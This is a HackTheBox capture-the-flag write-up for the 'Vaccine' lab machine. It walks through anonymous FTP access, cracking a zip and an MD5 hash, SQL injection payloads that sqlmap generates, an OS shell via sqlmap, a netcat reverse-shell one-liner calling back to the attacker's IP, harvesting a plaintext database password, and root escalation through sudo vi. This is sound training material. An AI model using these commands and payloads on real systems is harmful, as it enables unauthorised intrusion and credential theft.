# HackTheBox - Vaccine - Writeup

# Before you begin

I write these writeups as I go when I wait for tools to run, therefore my writeups contain trials and errors, what I do that didn't work and how I pivot my attacks. I also include some ideas/what's on my mind, and what I learned after I pwn the room.

The purpose of this is to see the thought process, showcasing not just the successes but the failures as well and how I get through them. I learn way better from the failures that's why I leave them in.

If you're looking for a writeup that shows how a player thinks, this is the right place for you.

Thanks and have fun!

# Data

* IP: 10.129.91.202
    
* Initial accessed: 2/16/2022 1:50 PM
    
* Time completed: 1 hour + 30 mins write up
    

## Task 1: Besides SSH and HTTP, what other service is hosted on this box?

`nmap -sV -sV -oN nmap-init $IP`

* Ports opened: 21, 22, 80: ftp, ssh and http
    

## Task 2: This service can be configured to allow login with any password for a specific username. What is that username?

because we run `-sC` we can see on the init nmap that ftp allows anonymous login

```plaintext
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

answer: `anonymous`

## Task 3: What is the name of the file downloaded over this service?

`_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip`

answer: backup.zip

## Task 4: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

Let's look for john the rippoer folder

`/usr/sbin/zip2john`

## Task 5: What is the password for the admin user on the website?

Let's break into ftp server `anonymous:<blank>`

`ftp anonymous@$IP`

```plaintext
└─# ftp anonymous@$IP
Connected to 10.129.91.202.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

get the backup.zip file `get backup.zip`

```plaintext
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10684|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |************************************************|  2533       16.54 MiB/s    00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (19.59 KiB/s)
```

## Getting the zip file password with johntheripper

1. Get the zip hash using `zip2john`
    

`zip2john -s backup.zip > ziphash.txt`

2. Using john to crack the password
    

`john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt`

```plaintext
┌─
└─# ls
backup.zip  nmap-init  ziphash.txt   
                                                                                                                      
└─# john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)     
1g 0:00:00:00 DONE (2022-02-16 14:18) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

3. open the zip file  
    `unzip backup.zip`
    

```plaintext
└─# unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: index.php               
  inflating: style.css
```

4. Look at the index.php file with `cat index.php`
    

```plaintext
 if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
```

5. Looks like the password is encoding in md5, let's crack that using hashcat
    

`hashcat -m 0 '2cb42f8734ea607eefed3b70af13bbd3' /usr/share/wordlists/rockyou.txt`

6. wait for hashcat to run I actually ran into a seg fault because my virtual machine didn't have enough memory so **make sure that your VM has enough ram**
    

```plaintext
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

2cb42f8734ea607eefed3b70af13bbd3:qwerty789
```

7. now that we have the password we can get in on the web server. navigate to the ip adress port 80
    
8. You'll see a login form, try `admin:qwerty789`
    
9. yatta!! We got in. the web page has a header `MegaCorp Car Catalog`
    
10. the search bar looks very interesting, we might get an sql injection
    
11. Try `'or 1=1--` on the search bar and click search &gt; nada
    
12. Ok lets try `'or '1'='1`
    
13. All the cars return, we got a SQLi. The broswer pass the search term as an SQL argument, and we put a term that always returns true 1=1, so it returns all the data
    

let's poke that

# task 6 What option can be passed to sqlmap to try to get command execution via the sql injection?

run `sqlmap --help`

```plaintext

    --os-shell          Prompt for an interactive operating system shell
```

This hints us that we can get a shell back from this vuln using sqlmap, let's try that

# SQLMap

1. run sqlmap with cookie grabbed from admin. Right click to Inspect &gt; Storage &gt; Cookies &gt; copy the value of PHP SESSION
    

`sqlmap --os-shell -u "http://10.129.95.174/dashboard.php?search=" --cookie "rs3mk75hjde89pttqm7761a93b"`

\*\* Note:\*\* It might take a couple of tries to get sqlmap to spawn a shell, use `sqlmap --help` for more flags you can use to run the cmd. Trials and errors are always the best way to attack. In real-world scenarios your attack might get picked up by a WAF, but sqlmap has options to bypass that as well. Read the help section to find out which option is possible to poke around with. This is the point of CTF; you're free to use whatever options or tools at your disposal to gain a shell, don't hesitate to try all of them, you might be surprised how much you learn.

2. As sqlmap run, these results poped up. Check for the results that are labeled `CRITICAL` during the run, see what pops out to you.
    
3. Not much luck with this run, I'm trying a different approach. I'll store the GET request in a file and then run it again.
    
4. Go to the website and make a sample search, then copy the GET request from Inspect Element under Network.
    
5. Put the request in a text file called `get.req`
    
6. Run the file with Sqlmap
    

`sqlmap -r get.req`

7. I got an error with sqlmap, so let's try Burp. Turn on Burp intercept and grab the GET request. There might be more data in there.
    

```plaintext
GET /dashboard.php?search=car HTTP/1.1
Host: 10.129.95.174
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.129.95.174/dashboard.php?search=%27or+%271%27%3D%271
Cookie: PHPSESSID=rs3mk75hjde89pttqm7761a93b
Upgrade-Insecure-Requests: 1
```

8. Put in the req file and try again. I want to use tag `--batch` so I don't have to press yes all the time
    

`sqlmap -r get.req --batch`

9. Boom we got something
    

`heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')`

Now we just wait and hope sqlmap can return something for us.

10. and we got it!
    

```plaintext
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
<<<<<<< HEAD
    Payload: search=car' AND (SELECT (CASE WHEN (2083=2083) THEN NULL ELSE CAST((CHR(110)||CHR(90)||CHR(106)||CHR(73)) AS NUMERIC) END)) IS NULL-- Xpdl

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=car' AND 5539=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (5539=5539) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(122)||CHR(113)) AS NUMERIC)-- KpjP

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=car';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy
---
```

11. Now that we have the payload, we can inject to the search bar or the URL I'm picking the last one
    

`search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy`

`10.129.95.174/dashboard.php?search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy`

12. Nothing returns, let's try the error-based payload
    

```plaintext
search=car' AND (SELECT (CASE WHEN (2083=2083) THEN NULL ELSE CAST((CHR(110)||CHR(90)||CHR(106)||CHR(73)) AS NUMERIC) END)) IS NULL-- Xpdl
```

13. we got something
    

`ERROR: invalid input syntax for type numeric: "qpkzq1qzkzq"`

14. Let's just see if we can get a shell from here
    

`sqlmap -r get.req --batch --os-shell`

15. and we're in
    

```plaintext
[10:36:30] [INFO] fingerprinting the back-end DBMS operating system
[10:36:31] [INFO] the back-end DBMS operating system is Linux
[10:36:31] [INFO] testing if current user is DBA
[10:36:32] [INFO] retrieved: '1'
[10:36:32] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[10:36:32] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
```

16. This shell is majorly unstable, I'll see if I can get a reverse shell on my machine
    

## Reverse shell

1. Get your ip address `ip a s tun0`
    
2. set up your netcat with `nc -lvnp 4444`
    
3. I have a template payload for bash, you can grab yours on revshells.com as well. Put your payload on the os-shell
    

```plaintext
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.79 4444 >/tmp/f
```

4. Upgrade your shell. I tried python but failed, they have python3
    

\*\* Note:\*\* To check if a machine has a program, use `which`. I checked for python version with `which python` or `which python3`. Positive results will return `usr/bin/python3`

```plaintext
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

5. check who we are
    

`postgres@vaccine:/var/lib/postgresql/11/main$ id id uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)` Since we're in `/var` let's check `/var/www/html`, usually there is credentials in there

found password in\`\`dashboard.php`in`html`folder. You either look through the file manually, or use the command`grep "password" \*`to loop through the file and returns anything that has the word`password\`

`dashboard.php: $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");`

6. let's see what this user can do `sudo -l`
    

```plaintext
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
[sudo] password for postgres: P@s5w0rd!

Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
    XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

\*\* Note\*\*: during this box I kept losing the shell due to the sql connection timeout, once I get the password I just ssh back into the postgres user with the found password

Answer for this task is `vi`

# Priv Esc

1. grab the user root at `cat user.txt`
    
2. Time for priv esc. The first thing I did was look up available payload for VIM on [gtfobins](https://gtfobins.github.io/#vi)
    
3. I want a shell, and found this payload that might work with the credential sudo we have
    
4. `sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf`
    
5. Press `:`, then type in the cmd `set shell=/bin/sh`. This I got from gtfobins
    
6. Gain root shell!
    

```plaintext
[No write since last change]
# whoami
root
# ls            
11  user.txt
# cat user.txt
```

DONE!

# Lessons from this box

1. SQLMap sometimes can take a little tweak to make it work perfectly, try everything
